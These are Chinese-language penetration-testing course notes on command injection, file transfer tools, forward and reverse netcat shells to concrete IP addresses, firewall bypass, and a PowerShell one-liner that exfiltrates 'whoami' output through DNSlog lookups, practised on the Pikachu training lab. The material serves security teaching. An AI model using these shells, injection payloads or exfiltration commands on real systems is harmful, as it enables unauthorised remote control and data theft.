![](https://img-blog.csdnimg.cn/277b2441cd824d1bac8b9def28c39fd4.png)
1、渗透命令-常规命令&文件上传下载
2、反弹Shell-防火墙策略&正反向连接
3、数据回显-查询带外&网络协议层级
#常规基本渗透命令详解
https://blog.csdn.net/weixin_43303273/article/details/83029138
#实用案例1:文件上传下载-解决无图形化&解决数据传输
命令生成:
Linux:wget curl python ruby perl java等
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等
#实用案例2:反弹Shell命令-解决数据回显&解决数据通讯
那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。
反弹shell就是把目标主机的权限弹到攻击方的端口
命令生成:https://forum.ywhack.com/shell.php
1、正向连接:本地监听等待对方连接
Linux控制Windows
//绑定CMD到本地5566端口
nc -e cmd -lvp 5566
//主动连接目标5566
ncat 47.122.23.131 5566
Windows控制Linux
//绑定SH到本地5566端口
ncat -e /bin/sh -lvp 5566
//主动连接目标5566
nc 47.94.236.117 5566
2、反向连接:主动给出去,对方监听
//绑定CMD到目标5566端口
ncat -e /bin/sh 47.122.23.131 5566
//等待5566连接
nc -lvvp 5566
//绑定CMD到目标5566端口
nc -e cmd 47.94.236.117 5566 (对方linux ip 47.94.236.117 )
//等待5566连接
ncat -lvvp 5566
#实际案例1:防火墙绕过-正向连接&反向连接&内网服务器
管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
Windows-> | & || &&
Linux-> ; | || & && ``(特有``和;)
例子:pikachu
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`
1、判断windows
2、windows没有自带的nc
3、想办法上传nc 反弹权限
4、反弹
查看端口 netstat -an
开启入站策略,采用反向连接
Linux:ncat -lvvp 5566
Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566
开启出站策略,采用正向连接
Linux:ncat -e cmd 47.122.23.131 5566
Windows:127.0.0.1 | nc -e cmd -lvvp 5566
入站禁止端口 5566
入站禁止5566端口,不一定反弹成功,需要添加入站规则。
正反向反弹案例-内网服务器 只能内网主动交出数据,反向连接
#实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog
pikachu(靶场注释输出显示代码)
无会显
出站入站都开启策略(数据不回显):OSI网络七层
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.f4an93.dnslog.cn';$z=$x+$y;ping $z
漏洞有,但是数据不回显:
1、反弹shell
2、带外查询 主动把结果给出来
dnslog(linux)
确定能执行命令
dnslog(windows)
应为有‘\’不能ping通,需要替换
为什么要这样写
cmd无法执行whoami
用到powershell变量赋值 把whoami执行结果给变量
结果带有“\” 导致ping无法执行
powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z
127.0.0.1 | powershell $x=ver;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z